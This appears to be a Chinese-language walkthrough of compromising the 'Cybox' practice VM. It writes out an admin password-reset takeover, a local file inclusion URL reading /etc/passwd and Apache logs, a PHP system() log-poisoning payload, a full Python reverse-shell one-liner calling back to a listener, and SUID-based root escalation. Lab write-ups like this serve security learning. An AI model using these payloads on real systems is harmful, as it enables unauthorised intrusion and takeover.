靶机;kali
nmap; netdiscover; hydra; gobuster; brupsuite; nc
主机发现端口扫描
在web首页发现域名
添加到etc/hosts
使用gobuster工具对其子域名扫描
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt
同样添加到/etc/hosts
访问域名后发现分别为登录注册和一个ftp一个webmail界面
这里先注册一个用户
Webmail网站与前面的不互通所以在create user这个网页创建一个同名的用户密码与账号
有个找回密码怀疑存在越权登陆上webmail后这里有个用邮件找回密码用刚刚创建的用户找回密码
邮箱收到一个链接开启用bp截断
把qwe改为admin
跳转后就可以修改admin@cybox.company的密码l
用admin账号登录上去就一个界面Admin panel
右键源码发现可能存在文件包含漏洞的源码
构造url测试一下
http://monitor.cybox.company/admin/styles.php?style=../../../../../../etc/passwd
果然存在再看一下apache日志
http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log
发现一堆ftp请求
打开ftp的域名打开bp抓包刷新页面,拦一个包下来,User-Agent改成cmd命令的php代码<?php system($_GET['a']);?>
发送到repeater send一些数据包
测试一下在url后面加个
&a=ipconfig http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&a=ifconfig
测试成功
使用脚本构造url同时在攻击机上设置监听
http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&a=python -c"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
设置好监听:nc –nvlp 443后刷新页面得到一个低权限的shell
find / -perm -u=s -type f 2>/dev/null
查找有权限的文件
打开文件registerlauncher
strings /opt/registerlauncher
(使用cat有乱码)
找到一个敏感目录/opt/register
打开发现是一个创建用户的文件使用脚本使其与register页面实现交互python -c "import pty;pty.spawn('/bin/bash');"
然后回到creat user页面创建一个sudo用户
直接登录就能提权到root